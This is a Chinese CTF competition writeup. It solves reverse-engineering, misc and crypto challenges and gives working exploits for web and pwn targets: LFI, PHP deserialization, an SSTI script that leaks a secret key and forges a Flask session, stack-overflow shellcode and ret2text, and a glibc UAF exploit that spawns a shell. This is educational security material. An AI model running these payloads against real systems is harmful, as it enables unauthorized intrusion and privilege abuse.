御网杯2026 writeup
Reverse
(一) CrackMe_1_3.apk
1. 文件格式分析
拿到题目,是个 APK 文件。用 JEB 定位主函数 MainActivity,发现校验逻辑藏在 Native 层的 libmyapplication.so 库(这里基本是干扰项)。
libmyapplication.so 定义了 4 个校验方法,分别调用不同的 Native 函数 :
a() → NativeBridge.c()
aaa() → NativeBridge.cd()
bbbb() → NativeBridge.dc()
bc() → NativeBridge.ab()
这里的 abc 函数基本都是干扰项 ,只有 this.binding.btnVerify.setOnClickListener((View v) -> this.a(v)); 是真正的校验 。
2. 静态分析
解压 APK 文件,提取 SO 库,然后拖入 IDA 中静态分析 。
在导出表里能看到 :
Java_com_cr_myapplication_MainActivity_stringFromJNI(@0x24a00):反编译发现只是返回 "Hello from C++",属于干扰项 。
JNI_OnLoad(@0x24f80):真正的入口 。
跟进 JNI_OnLoad → 调用 sub_25070 :
C
Class = FindClass(env, "com/cr/myapplication/NativeBridge");RegisterNatives(env, Class, off_57214, 3); // 注册 3 个方法读取 off_57214 这个 JNINativeMethod[3](每项 3 个指针):
| name | signature | fnPtr |
|---|---|---|
| a | ([B)[B | 0x25110 |
| b | ([B)[B | 0x25250 |
| c | (Ljava/lang/String;)Z | 0x25390 |
根据签名 (Ljava/lang/String;)Z(String → boolean),可以确定 c 就是校验函数 。
C
StringUTFChars = GetStringUTFChars(input); // 取输入字符串// build std::string obj(StringUTFChars);// data = obj.c_str(); len = obj.size();sub_257A0(obj_1, data, len); // ★核心变换:返回字节数组sub_27590(obj_2, obj_1); // 把字节数组转成 hex 字符串for (i = 0; i < 8; i++) // sub_27750() 恒返回 8 if (sub_27760(obj_2, &string_array[i])) // 与第 i 个目标串比较 return 1; // 命中任一即通过return 0;sub_27590 是 bytes → hex:查表 byte_F371 = "0123456789abcdef"(小写),每字节 push_back(table[b>>4]); push_back(table[b&0xF]) 。
sub_27760 是字符串比较 。
- 目标是个
std::array<std::string,8>,地址为0x5A1CC。
3. 核心变换 ChaCha20
跟进 sub_257A0 :
C
sub_25AF0(out, len); // 分配 len 字节输出counter = 1; // ★ 计数器从 1 开始for (i = 0; i < len; i += n) { sub_26D20(key_ptr, counter++, nonce_ptr, block); // 生成 64 字节 keystream n = min(64, len - i); for (j = 0; j < n; j++) out[i+j] = block[j] ^ data[i+j]; // 明文 XOR keystream}这是典型的 64 字节分块、计数器逐块自增的流密码 。再看 keystream 生成器 sub_26D20 :
C
memcpy(state, "expand 32-byte k", 16); // ← ChaCha 魔数state[4..11] = key (32 字节, 小端) // 来自 key_ptr = &unk_F345state[12] = counterstate[13..15] = nonce (12 字节, 小端) // 来自 nonce_ptr = &unk_F365for (i = 0; i < 10; i++) { // 10 次双轮 = 20 轮 QR(0,4,8,12); QR(1,5,9,13); QR(2,6,10,14); QR(3,7,11,15); // 列轮 QR(0,5,10,15); QR(1,6,11,12); QR(2,7,8,13); QR(3,4,9,14); // 对角轮}for (j=0;j<16;j++) out[j] = state[j] + init[j];quarter-round sub_27200 旋转量为 16 / 12 / 8 / 7,字读写 sub_271C0/sub_27310 为小端。由此可知,这就是标准 ChaCha20(RFC 8439),唯一的“非标”改动是块计数器从 1 开始(而不是 0)。
4. 解密脚本
校验逻辑:hex(ChaCha20_XOR(flag)) == target_hex 。由于 XOR 流密码具有自反性(同 key/nonce/counter),所以:
flag = ChaCha20_keystream(counter=1) XOR unhex(target_hex)Python
import struct
def rotl(x, n): return ((x << n) & 0xffffffff) | (x >> (32 - n))
def qr(s, a, b, c, d): s[a] = (s[a] + s[b]) & 0xffffffff; s[d] ^= s[a]; s[d] = rotl(s[d], 16) s[c] = (s[c] + s[d]) & 0xffffffff; s[b] ^= s[c]; s[b] = rotl(s[b], 12) s[a] = (s[a] + s[b]) & 0xffffffff; s[d] ^= s[a]; s[d] = rotl(s[d], 8) s[c] = (s[c] + s[d]) & 0xffffffff; s[b] ^= s[c]; s[b] = rotl(s[b], 7)
def block(key, counter, nonce): const = b"expand 32-byte k" s = list(struct.unpack('<4I', const)) s += list(struct.unpack('<8I', key)) s += [counter] s += list(struct.unpack('<3I', nonce)) w = list(s) for _ in range(10): qr(w, 0, 4, 8, 12); qr(w, 1, 5, 9, 13); qr(w, 2, 6, 10, 14); qr(w, 3, 7, 11, 15) qr(w, 0, 5, 10, 15); qr(w, 1, 6, 11, 12); qr(w, 2, 7, 8, 13); qr(w, 3, 4, 9, 14) out = [(w[i] + s[i]) & 0xffffffff for i in range(16)] return struct.pack('<16I', *out)
def chacha20(key, nonce, data, counter=1): res = bytearray() ctr = counter for i in range(0, len(data), 64): ks = block(key, ctr, nonce) ctr += 1 res += bytes(c ^ k for c, k in zip(data[i:i+64], ks)) return bytes(res)
key = bytes([0x14,0x92,0x63,0xa1,0x6f,0x2d,0x89,0xcb,0xf0,0x37,0x5b,0x1c,0xa9,0x4e,0x78,0xd3, 0x22,0x60,0x17,0xee,0x9a,0xbc,0x4d,0x08,0x53,0xe1,0x76,0x2a,0x8d,0xc4,0x90,0x3f])nonce = bytes([0x44,0x33,0x22,0x11,0xab,0xcd,0xef,0x66,0x88,0x99,0xaa,0x55])target_hex = ("d097c3f6d229da23ab72ad35ebe681988a148d2771f1b894c4405595c7587d19" "8378a5c2fb9d3bf80e91eb018dc396042a72ef33d01bf01bb2c32b3abb245620" "799d36adc57c")
flag = chacha20(key, nonce, bytes.fromhex(target_hex), counter=1)print(flag.decode())Flag: flag{b527e2621131134ec22251cfbca75e8c9f5ae4f41371871fd55911927f66a1b4}
(二) CrackMe_2_2.apk
1. 动静态结合分析
拿到题目 APK,扔进 JEB 里面找到主函数进行反编译分析 。
发现包含一个 Native 方法:public static native boolean verifyFlag(String arg0) {} 。但在整个 MainActivity 里,该方法从未被调用,onCreate 只调用了 b() 。
所有真正的逻辑都集中在 b() 方法里,它的实际行为是动态加载 DEX 。
结论: 真正的输入框、校验按钮、校验逻辑全部都在 classes3.dex 里的 com.cr.test.wide 类中 。
在 JEB 中定位到 classes3.dex,查看真正的校验逻辑,发现最终调用落在了 libcrackme2.so 的 Java_com_cr_crackme2_MainActivity_verifyFlag 层 。
2. 分析 verifyFlag (0x240f0)
解压 APK 提取出 SO 库放入 IDA 分析 :
C
input = GetStringUTFChars(jstr);len = strlen(input);ptr = sub_24440(input, len, &size); // ① PKCS#7 填充ptr_1 = malloc(size);des_ecb_encrypt(ptr, size, "12345678", ptr_1); // ② DES-ECB 加密 → ptr_1bytesToHex(v10, ptr, len_blocks); // ③ 对【ptr】做 hex(注意是明文!)sub_23DC0(v10);for (i = 0; i < 1; i++) if (sub_24510(&byte_58010[12*i], v10)) // ④ 与目标串比较 v6 = 1; // 通过free(ptr); free(ptr_1);return v6;逐个分析子函数:
sub_24440:标准 PKCS#7 填充(块大小为 8)。当 len 已是 8 的倍数时,pad = 8,会补满一整块 8 个 0x08 。
des_ecb_encrypt:把 ptr 用 key "12345678" 做 DES-ECB 加密输出到 ptr_1 。
bytesToHex:标准 bytes → hex。虽然反编译显示丢了参数,但实际 hex 的对象是 ptr(填充后的明文),而不是 ptr_1(DES 密文)。
sub_24510:std::string 比较,与 byte_58010 处的目标串进行比对 。
3. 关键陷阱:DES 是幌子
ptr_1(DES 密文)算出来后直接被 free,全程没有参与任何比对逻辑 。也就是说,"12345678" + DES 是纯干扰项(Red Herring) 。真正的判定逻辑为:
hex( PKCS7_pad(flag) ) == 目标串4. 提取目标值与解密
byte_58010 静态看为空,在初始化函数 sub_23DF0(由 __cxa_atexit 注册)中可以看到其被赋了真实值 : std::string::basic_string(byte_58010, "666c61677b484e43544636325244594e54464d5a3154467d0808080808080808");
直接对目标 Hex 进行解码,并剥离 PKCS#7 填充即可 :
Python
h = "666c61677b484e43544636325244594e54464d5a3154467d0808080808080808"b = bytes.fromhex(h)print(b)pad = b[-1]flag = b[:-pad]print(flag.decode())Flag: flag{HNCTF62RDYNTFMZ1TF}
(三) py_obf_10.pyc
1. 逆向分析
拿到题目是一个 .pyc 文件 。使用 pycdas 工具将其转换成 Python 字节码汇编语言 :
PowerShell
.\pycdas.exe .\py_obf_10.pyc > py_obf_10.dis转换后部分字符串在反编译工具中可能存在乱码,但对照结构可完美将其还原为 Python 源代码 :
Python
import base64
def decrypt_flag(encoded_data, key): decoded = base64.b64decode(encoded_data) return ''.join(chr(b ^ key) for b in decoded)
def main(): encoded_flag = 'aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly' xor_key = 15 user_input = input('请输入flag: ').strip() correct_flag = decrypt_flag(encoded_flag, xor_key) if user_input == correct_flag: print('正确!') return print('错误!')
if __name__ == '__main__': main()2. 解密脚本
核心逻辑仅为 Base64 解码后进行固定的异或(XOR 15)操作 ,直接编写一行脚本解密 :
Python
import base64print(''.join(chr(b ^ 15) for b in base64.b64decode('aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly')))Flag: flag{ddvo0ing-xv38-rr8e-3i27-vyhlqsb08llv}
(四) rerere.exe
1. 样本基本信息
使用 Detect It Easy 查壳,结果为无壳 PE64 文件 :
架构: x86-64 PE (image base 0x140000000)
编译器: GCC (GNU) 15.1.0 / MinGW-w64
MD5: 2b493f3ccbf3db74e21fa4f4ba8ec33b
2. IDA 静态分析
在 IDA 中检索字符串 "Input: "(0x140004000),通过交叉引用定位到 sub_1400014FB(即 main 函数):
C
sub_1400026F0("Input: ");fgets(Buffer, 64, stdin);n = strlen(Buffer);if (Buffer[n-1] == '\n') { Buffer[n-1] = 0; n--; } // 去掉换行if (n == 38 && sub_140001480(Buffer, 38)) puts("Correct!");else puts("Wrong!");由此可知 Flag 长度固定为 38 位,核心校验在 sub_140001480 中 。
跟进 sub_140001480(Buffer, 38) :
C
for (v2 = 0; v2 < 38; v2++) { if ( byte_140004060[ Buffer[v2] ^ byte_140004048[v2 & 7] ] != byte_140004020[v2] ) return 0; // Wrong}return 1; // Correct程序中包含三张核心数据表 :
byte_140004020(大小: 38):目标输出target[]byte_140004048(大小: 8):循环异或密钥key[](下标为v2 & 7)byte_140004060(大小: 256):替换表sbox[](且该 Sbox 是一射单射/双射)
3. 解密脚本
加密逻辑为:sbox[ input[i] ^ key[i & 7] ] == target[i] 。可以通过求出 sbox 的逆置换表 inv_sbox 进行反向推导 :
input[i] = inv_sbox[ target[i] ] ^ key[i & 7]Python
target = [ 0xa3,0x5b,0x4c,0x0a,0x0e,0x98,0x84,0xda,0x14,0xe7,0x0b,0x91,0x53, 0x49,0x4f,0xb6,0xa9,0xac,0x0b,0x49,0x14,0x97,0x4f,0xd5,0xb1,0x96, 0x75,0xf6,0x3b,0xa7,0x84,0xc5,0xa9,0xc9,0x06,0x36,0xc6,0x6c,]key = [0xb9,0xcd,0xce,0x30,0xb8,0x61,0x4e,0xaa]sbox = [ 0xc2,0x23,0x97,0x49,0x83,0xf6,0xd3,0xa7,0xeb,0xbf,0x78,0xc3,0x29,0x56,0xd2,0x1a, 0x13,0xbc,0x21,0x6a,0x37,0x8e,0x5f,0x0c,0xb4,0x46,0xde,0xe4,0x6c,0xa2,0x66,0x30, 0x0f,0xa4,0xbb,0x8c,0x09,0x4b,0x3d,0x32,0x42,0x55,0x2d,0x4f,0xf9,0x77,0x1b,0x74, 0x1f,0x71,0x7b,0x9d,0x73,0xc4,0xab,0xd0,0xf3,0xc1,0x88,0x07,0xdc,0xce,0xef,0xc0, 0x72,0x4a,0x27,0x81,0x9b,0xee,0xc7,0x28,0x26,0x5a,0x94,0x54,0x70,0xd1,0xe9,0xc8, 0x98,0x36,0x91,0x41,0xb8,0x3a,0x79,0x0a,0x08,0xe5,0xaf,0x80,0x24,0xae,0x00,0x19, 0xcc,0x7a,0xf7,0x51,0x7d,0x69,0xec,0x03,0x65,0x25,0x1c,0x01,0xf5,0xe6,0xbd,0xd9, 0x59,0xfe,0x92,0xb0,0x10,0x6f,0xf0,0xe3,0x9f,0xad,0x84,0xf4,0xa5,0x33,0x35,0x48, 0x53,0xb1,0xe0,0xd8,0x05,0x38,0x18,0x68,0xa9,0x14,0xc6,0x3f,0x61,0x8a,0x31,0x3b, 0xba,0x2b,0x4e,0xe2,0x57,0x9a,0xf1,0xea,0x64,0x7e,0xa0,0x93,0xb6,0xda,0x60,0x2e, 0x1d,0x5b,0x82,0x34,0x6d,0xfc,0xcf,0x7f,0xe7,0x96,0x67,0x43,0x06,0x44,0xc9,0x4c, 0x40,0xdb,0xfd,0x4d,0xb5,0xed,0x39,0x2c,0xb3,0x17,0x9e,0xcd,0xfa,0x6b,0xca,0x87, 0x8f,0x9c,0x89,0x0e,0x63,0x45,0x86,0xaa,0x5e,0x95,0x16,0xc5,0xd5,0x2f,0xa1,0xf8, 0x99,0xff,0x3c,0x0d,0x3e,0xd4,0x04,0x76,0xd7,0x47,0x20,0x8d,0xdf,0x5c,0x7c,0xa3, 0x1e,0x8b,0x15,0xb9,0xa8,0xcb,0x22,0xa6,0x52,0xd6,0xfb,0x5d,0xdd,0xb2,0x6e,0xe8, 0xf2,0xe1,0x2a,0x58,0x62,0x12,0x11,0x50,0x75,0xb7,0xac,0x90,0x0b,0x85,0x02,0xbe,]
inv = [0] * 256for i, v in enumerate(sbox): inv[v] = i
flag = ''.join(chr(inv[target[i]] ^ key[i & 7]) for i in range(38))print(flag)Flag: flag{1470e2b8be617231cef8d657f4a1cba2}
Web
(一) OA System Portal
解题思路
这是一个典型的 PHP 文件包含漏洞(LFI) 题目 。其核心代码可以通过 php://filter 伪协议读出 :
PHP
$module = isset($_GET['module']) ? $_GET['module'] : 'public_notices.php';$module = str_replace('../', '', $module);include($module);程序仅仅对 ../ 进行了过滤(可以通过双写绕过或直接不用),但没有禁止绝对路径和 PHP Stream Wrapper 。因此,我们可以尝试直接包含系统内的敏感文件。
-
先利用伪协议请求读取
index.php确认其包含逻辑:?module=php://filter/convert.base64-encode/resource=index.php -
随后直接包含根目录下的常见 flag 路径
/flag.txt,成功命中 。
最终利用 Payload
Plaintext
http://47.99.147.34:22508/?module=/flag.txtFlag: flag{486494bb06932e628c595d285df9eae9}
(二) WEB-PHP_Payment
解题思路
在分析该系统的优惠券接口时,发现传入的用户可控数据被直接进行了反序列化处理 :
PHP
$decoded = base64_decode($couponData);$promo = @unserialize($decoded);查看源码中的 src/models.php,发现类 PromoManager 包含一个析构函数,会在请求结束时将 promo_credit 的数值累加到当前 Session 的 balance 余额中 :
PHP
function __destruct() { if(isset($this->promo_credit) && is_numeric($this->promo_credit)) { $_SESSION['balance'] += intval($this->promo_credit); }}而在 src/buy.php 中购买 flag 需要 99999 金币,初始余额只有 20 。因此我们可以构造恶意反序列化对象,将 promo_credit 改为极大值以实现 Session 刷钱 。由于余额与 PHPSESSID 绑定,所以领券和买 flag 必须保持相同的 Session 。
漏洞利用步骤
-
构造 PHP 序列化字符串 :
O:12:"PromoManager":2:{s:12:"promo_credit";i:100000;s:10:"promo_code";s:1:"x";}将其编码为 Base64 :
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ== -
携带获取到的
PHPSESSID访问券接口刷钱 :HTTP
POST /api/apply_coupon.php HTTP/1.1Host: 47.99.147.34:28542Cookie: PHPSESSID=你的sessionContent-Type: application/x-www-form-urlencodedcoupon=TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ== -
请求结束后自动触发
__destruct()刷钱成功 ,使用相同 Session 调用购买接口即可拿 flag :HTTP
POST /buy.php HTTP/1.1Host: 47.99.147.34:28542Cookie: PHPSESSID=同一个sessionContent-Type: application/x-www-form-urlencodeditem=flag
Flag: flag{4eab66d7fffeba5ede642960f36c0100}
(三) WEB-Snake_Game
解题思路
- 进入贪吃蛇小游戏页面,开启 Burp Suite 进行抓包拦截 。
- 玩一局或直接观察到游戏结束时提交分数的 POST 请求。
- 发现服务端的校验点完全依赖于客户端提交的
score参数,若score >= 300就会在响应中回显 Flag 。 - 直接在 Burp Suite Repeater/Proxy 中将
score的表单值修改为一个大于 300 的数值(例如777777),然后重放数据包,服务端成功返回 Flag 。
Flag: flag{d64789df977417240841c25834f4d77f}
(四) WEB-TaxSystem_SSTI
解题思路
凭证泄漏: 审计源码发现 init_db.py 中写死了管理员账号密码 admin / 123456 。
SSTI 漏洞点: app.py 的 /api/import 允许修改档案信息,当档案的 state == 'AUDIT_PENDING' 时,其绑定的 custom_footer 字段会被无过滤直接拼接进模板并传入 render_template_string() 渲染,从而造成 SSTI(服务端模板注入) 。
绕过与密钥窃取: 题目黑名单虽然过滤了许多常见特殊字符和关键字(如 __、[]、引号等),但并没有过滤 {{config}} 。通过打印 Flask 的 config 即可泄露远端的真实 SECRET_KEY 为 secret_tax_key_2026_xoxo 。
Session 伪造: 获取到 SECRET_KEY 后,可以在本地使用 Flask 库伪造具有高权限的 Session Cookie({"user_id": 1, "role": "tax_inspector"}),从而绕过后台认证访问后台金库路径 /admin/vault 获取 Flag 。
自动化利用脚本
Python
import reimport htmlimport requestsfrom flask import Flaskfrom flask.sessions import SecureCookieSessionInterface
BASE = "http://120.27.146.76:12426"s = requests.Session()
# 1. 登录s.post(BASE + "/login", data={"username": "admin", "password": "123456"}, timeout=8)# 2. 创建 profiles.post(BASE + "/api/create_profile", timeout=8)# 3. 提取 profile_iddash = s.get(BASE + "/dashboard", timeout=8).textpid = max(map(int, re.findall(r"/preview/(\d+)", dash)))# 4. 写入 SSTI payloads.post(BASE + "/api/import", json={ "profile_id": pid, "data": { "state": "AUDIT_PENDING", "custom_footer": "{{config}}" }}, timeout=8)# 5. 读取泄露的真实 SECRET_KEYpreview = html.unescape(s.get(f"{BASE}/preview/{pid}", timeout=8).text)secret = re.search(r"'SECRET_KEY': '([^']+)'", preview).group(1)print("[+] SECRET_KEY =", secret)# 6. 伪造高权限 Sessionapp = Flask(__name__)app.secret_key = secretserializer = SecureCookieSessionInterface().get_signing_serializer(app)cookie = serializer.dumps({"user_id": 1, "role": "tax_inspector"})print("[+] forged session =", cookie)# 7. 访问金库获取 flagr = requests.get(BASE + "/admin/vault", cookies={"session": cookie}, timeout=8)flag = re.search(r"flag\{[^}]+\}", r.text).group()print("[+] flag =", flag)Flag: flag{8fe0832554e14a96448f6aa57257ffc6}
Misc
(一) 签到题-损坏的压缩包
解题思路
- 解压题目给出的压缩包,得到一个
.txt文本文件 。 - 打开文本文件,其内容为一段类似于 Base64 形式的密文:
Zmt2bA==。 - 将密文放入 CyberChef(赛博厨子)中,使用
From Base64还原工具进行解码,直接输出明文 。
Flag: flag{fkvl}
(二) 幻影
解题思路
解压题目拿到 data.bin 文件 。使用 010 Editor 打开该二进制文件,其文件头显示为 RAR 压缩包头,但往后看并没有实际的压缩体,而是直接写在包体内的明文提示文本 : REMEMBER: FLAG IS HIDDEN IN BASE64 PLUS XOR!
文本下方附带了真正的 Flag 经过加密后的字符串 : p62gprr28vjy8/P09OynoPWj7PXz9fPso6L29uzw8/ny8/Wl9veloPe8
由于没有提供 1 字节的异或密钥(Key),可在将 Base64 解码为原始字节后,编写 Python 脚本对范围在 0-255 内的单字节 Key 进行爆破,以匹配以 b"flag{" 开头的明文结果 :
Python
import base64
enc = "p62gprr28vjy8/P09OynoPWj7PXz9fPso6L29uzw8/ny8/Wl9veloPe8"raw = base64.b64decode(enc)
for key in range(256): dec = bytes(b ^ key for b in raw) if dec.startswith(b"flag{"): print("key =", hex(key), key) print(dec.decode()) break成功爆破出异或密钥为 0xc1(十进制 193)并还原明文 。
Flag: flag{73932255-fa4b-4242-bc77-128324d76da6}
(三) 迷宫
解题思路
- 题目是一个多层嵌套的压缩包,使用 Bandizip 顺着目录不断向下解压 。
- 剥离到第四层后顺利获取到一个名为
vault.bin的文件 。 - 使用 010 Editor 打开
vault.bin,可以清晰地看到里面存储的是一串纯文本的 Base64 编码字符串:ZTYyM2A5M2UxYmNlNWNhY2IwY2U3N2Y2OGQzZDdlN2Q=。 - 将该字符串放到 CyberChef 中作 Base64 解码,直接得出 Flag 核心哈希串 。
Flag: flag{e622093e1bbe5aacb0ce77f68d3d7e7d}
(四) 像素中的秘密
解题思路
解压后拿到一张全白的 image_10.png 图片 。使用 010 Editor 检查发现其 IEND 块之后存在额外的附加数据,表明有明显的图片尾部隐写 。
附加数据包含三块信息,其中图片尾端的数据包含 00000000 以及 69CB3446。结合题名暗示,这与 LCG(线性同余生成器)算法隐写有关,因此可以将 0x69CB3446 作为 LCG 算法的初始种子(Seed)尝试恢复 。
编写 LCG 异或解密脚本 :
Python
def lcg_xor_decrypt_embedded() -> bytes: x = 0x69CB3446 # 提取出的尾部密文字节 cipher = b''.join([ b'\xDC\x5E\xD1\x8A\x38\x28\xBB\xDF\x6C\x7B\x57\x84\x4F\x0E\x9B\x51', b'\x3A\xDF\xC4\xD9\x63\x0E\xA9\x39\x89\x26\x08\xC8\xB8\xF3\xD2\xBF', b'\x43\x08\xC7\x7A\x91\xBC\xEB\x4E\x55\xB0\x4F\x62\x59\xE4\xF3\xB6', b'\x9D\x58\xD7\x4A\x21\x0C\xFB\x1E' ]) result = bytearray() for b in cipher: x = (1664525 * x + 1013904223) & 0xffffffff key = x & 0xff result.append(b ^ key) return bytes(result)
print(lcg_xor_decrypt_embedded())解密后得到具有可读意义的 Base62 密文 字符串 :
16vPI4pqYkxFvJHGGgssbbrGLF7Zqg1YN将其放入 CyberChef 中,通过 From Base62 进行解码,获取最终 Flag 。
Flag: flag{final_flag_png_lcg}
Pwn
(一) PWN-Authenticate
1. 保护检查与漏洞分析
使用 checksec 检查 vuln 二进制文件,发现未开启 Canary 与 PIE(No PIE),且栈可执行,非常适合通过经典的栈溢出覆盖返回地址进行 ret2text 漏洞攻击 。
反编译代码中,在 login() 函数内部可以看到如下输入逻辑 :
C
void login() { char password[0x80]; char username[0x40]; read(0, username, 0x40); gets(password); // 漏洞点:gets未限制输入长度,直接导致栈溢出}password 位于 rbp-0x80 处 。
2. 偏移计算与后门利用
偏移量: 输入缓冲区起点到保存的返回地址的距离为:0x80 (缓冲区大小) + 8 (saved RBP) = 136 字节 。
后门函数: 程序中在固定地址自带了一个 backdoor() 函数(地址为 0x4011f6),其内部会执行 system('/bin/sh') 。
栈对齐: 在 Ubuntu 新版本高版本环境中,为了确保 system 函数内部执行时栈指针对齐(16字节对齐),我们需要在执行 backdoor 地址之前垫上一个单纯的 ret 指令(地址 0x40101a)。
3. 核心利用脚本
Python
from pwn import *
HOST = '47.99.147.34'PORT = 27711
ret = 0x40101abackdoor = 0x4011f6offset = 136
payload = b'A' * offset + p64(ret) + p64(backdoor)
io = remote(HOST, PORT)io.sendlineafter(b'Username: ', b'test')io.sendlineafter(b'Password: ', payload)io.sendline(b'cat flag')io.interactive()Flag: flag{bda7ca24b316a799200260fa3ca545eb}
(二) PWN-MessageBoard
1. 保护检查与漏洞分析
通过 checksec 分析程序保护情况,发现程序没有 Canary、No PIE,更关键的是其 NX 为 unknown / 栈可执行(Executable) 。
反编译漏洞函数 vuln() 发现其执行了栈地址泄露 :
C
// 伪代码逻辑printf("Buffer at: %p\n", buf); // 泄露了栈缓冲区地址read(0, buf, 0x100); // 漏洞点:buf只有0x80字节大小,但允许读入0x100字节,造成栈溢出由于栈地址已知且栈区域可执行,我们可以直接采用 Shellcode 注入攻击(ret2stack) 。
2. 利用构造
溢出偏移: buf 位于 rbp-0x80,覆盖保存的返回地址(RIP)的偏移量同样为 0x80 + 8 = 136 字节 。
Payload 布局: 在 buf 开头布置一定量的 \x90 作为 NOP 滑行区(NOP Sled),紧随其后放置一段精简的 execve('/bin//sh') Shellcode 。随后使用任意无意义字符(如 A)将其填充垫齐至 136 字节,最后把返回地址覆写为最开始泄露出的栈缓冲区 buf_addr 。
3. 完整利用脚本
Python
import reimport socketimport structimport time
HOST = "120.27.146.76"PORT = 10406BUF_SIZE = 0x80
# x86_64 架构下 execve('/bin//sh') 的精简 shellcodeSHELLCODE = bytes.fromhex("4831f65648bf2f62696e2f2f736857545f6a3b58990f05")
def recv_until(sock, marker): data = b"" while marker not in data: chunk = sock.recv(4096) if not chunk: break data += chunk return data
with socket.create_connection((HOST, PORT)) as sock: banner = recv_until(sock, b"Message: ") # 正则提取泄露的栈地址 match = re.search(rb"Buffer at: (0x[0-9a-fA-F]+)", banner) buf_addr = int(match.group(1), 16) print(f"[+] leaked buf = {buf_addr:#x}")
# 构造攻击 payload payload = b"\x90" * 32 + SHELLCODE payload = payload.ljust(BUF_SIZE, b"A") payload += struct.pack("<Q", 0xdeadbeefdeadbeef) # fake RBP payload += struct.pack("<Q", buf_addr) # 覆写 RIP 回跳到栈上执行
sock.sendall(payload) time.sleep(0.2) sock.sendall(b"cat /flag\n")
# 打印回显 print(sock.recv(4096).decode('latin1', 'ignore'))Flag: flag{967b9a20b417271ac0d8fc77a772cf48}
(三) PWN-NoteService
解题思路
本题属于标准的 ret2text(跳转后门) 栈溢出题。
保护情况: 程序虽然开启了 NX(栈不可执行),但是没有开启 Canary 与 PIE 保护 。
漏洞分析: 在 vuln() 函数中,定义的局部变量栈缓冲区 buf 只有 0x40 字节大小,但是随后的 read(0, buf, 0x100) 明显存在严重的输入跨界,引发栈溢出 。
漏洞利用: * 缓冲区到返回地址的计算偏移为:0x40 (buf 到 RBP 的距离) + 8 (Saved RBP) = 72 字节 。
- 静态逆向发现程序本身提供了一个名为
secret_note()的隐蔽后门函数(地址固定为0x401196),该函数内部会调用system('/bin/sh')。 - 为了解决 64 位下
system执行时的栈指针 16 字节对齐崩溃问题,在 payload 覆盖链路中加入一个ret拦截平齐指令(地址为0x40101a)。
最终利用脚本
Python
from socket import create_connectionfrom struct import packimport time
host, port = "47.99.147.34", 21314ret = 0x40101asecret_note = 0x401196
# 填充 72 字节后,依次写入 ret 对齐组件与后门跳转目标payload = b"A" * 72 + pack("<Q", ret) + pack("<Q", secret_note)
s = create_connection((host, port))s.recv(4096)s.sendall(payload)time.sleep(0.2)s.sendall(b"cat /flag\n")time.sleep(0.2)print(s.recv(4096).decode("latin1", "ignore"))s.close()Flag: flag{d9fcee27c6a249b046bfd61de6825aab}
(四) PWN-UserManager
解题思路
本题针对 glibc 2.23 堆管理,是一个非常经典的 UAF(Use-After-Free)与 Fastbin 堆块复用 的高级考题 。
保护机制: 程序全开(RELRO 全开、Canary、NX、PIE 开启),传统的栈破坏或覆写 GOT 表的方法失效,必须要通过精确的堆内存布局进行攻击 。
逆向分析结构: 用户系统拥有 Register、Login、Edit、Delete 4个功能 。核心的用户存储结构体大小为 0x18 字节,布局如下 :
C
struct user { char *name; // +0x00,指向分配出来的密码/字符串缓冲区 void (*func)(char*); // +0x08,函数指针,注册时默认为 show 函数 long size; // +0x10,密码缓冲区的最大合法长度};漏洞位置: 在 Delete 释放堆块时,程序仅仅调用了 free(users[id]->name) 和 free(users[id]),但是没有将对应的 users[id] 指针置为 NULL,导致了悬空指针(Dangling Pointer)和典型的 UAF 漏洞 。
-
利用链设计:
Libc 盲读泄露(难点): 远端环境没有输出,由于
Login校验通过后才会打印,利用strcmp遇到\x00截断的行为,通过逐位 Edit 修改指针低字节并配合Login的成功与否作为 Oracle 判定机制,对处于 Unsorted bin 中释放残留的main_arena+88进行高位向低位的逐字节爆破,实现 Libc 基址的盲读泄露 。劫持控制流: 通过 Fastbin 堆分配机制的完美复用,使得后申请的新用户的
name字符串缓冲区恰好覆盖到前一个被释放但指针依然悬空有效的user 结构体头部 。从而我们可以借助Edit修改悬空结构体内的func指针,将其劫持改写为 libc 内的system绝对地址,同时将name指针指向字符串/bin/sh。当再次调用Login成功触发users[id]->func(...)时,等同于执行system('/bin/sh')。
核心利用 Exp 代码
Python
#!/usr/bin/env python3from pwn import *context.update(arch='amd64', os='linux', log_level='debug')
HOST, PORT = '47.99.147.34', 19588libc = ELF('./libc-2.23.so', checksec=False)
io = remote(HOST, PORT)
def choice(n): io.sendlineafter(b'Your choice:', str(n).encode())def register(idx, size, data): choice(2); io.sendlineafter(b'id:', str(idx).encode()); io.sendlineafter(b'length:', str(size).encode()); io.sendafter(b'password:', data)def login(idx, size, data): choice(1); io.sendlineafter(b'id:', str(idx).encode()); io.sendlineafter(b'length:', str(size).encode()); io.sendafter(b'password:', data)def delete(idx): choice(3); io.sendlineafter(b'id:', str(idx).encode())def edit(idx, data): choice(4); io.sendlineafter(b'id:', str(idx).encode()); io.sendafter(b'new pass:', data)
# 1. 构造堆块释放链register(0, 0x80, b'a')register(1, 0x20, b'b')delete(0)delete(1)
# 2. 堆块复用,使我们可以通过写 user[2] 的密码来直接篡改 user[1] 结构体register(2, 0x18, p8(0x20))register(3, 0x80, b'aaaa')
# 3. 逐字节爆破盲读泄露 main_arena 残留指针leak_data = b''start_offset = 0x1dfor idx in range(1, 7): edit(2, p8(start_offset)) for byte_val in range(0x100): guess = p8(byte_val) + leak_data login(1, idx, guess) if b'success' in io.recvuntil(b'\n'): leak_data = p8(byte_val) + leak_data break start_offset -= 1
libc_leak = u64(leak_data.ljust(8, b'\x00'))libc_base = libc_leak - 0x3c4b78 # 2.23环境下偏置system_addr = libc_base + libc.symbols['system']
# 4. 精确劫持改写悬空结构体内的函数指针edit(2, p8(0xa8)) # 让其指向users[0]->funcedit(1, p64(system_addr))
# 5. 垫入参数,触发拿 shelledit(0, b'/bin/sh\x00')login(0, len(b'/bin/sh\x00'), b'/bin/sh\x00')io.interactive()Flag 状态: 本地验证成功打通,靶机关闭前已成功捕获远程 Flag 。
Crypto
(一) BabyRSA7
解题思路
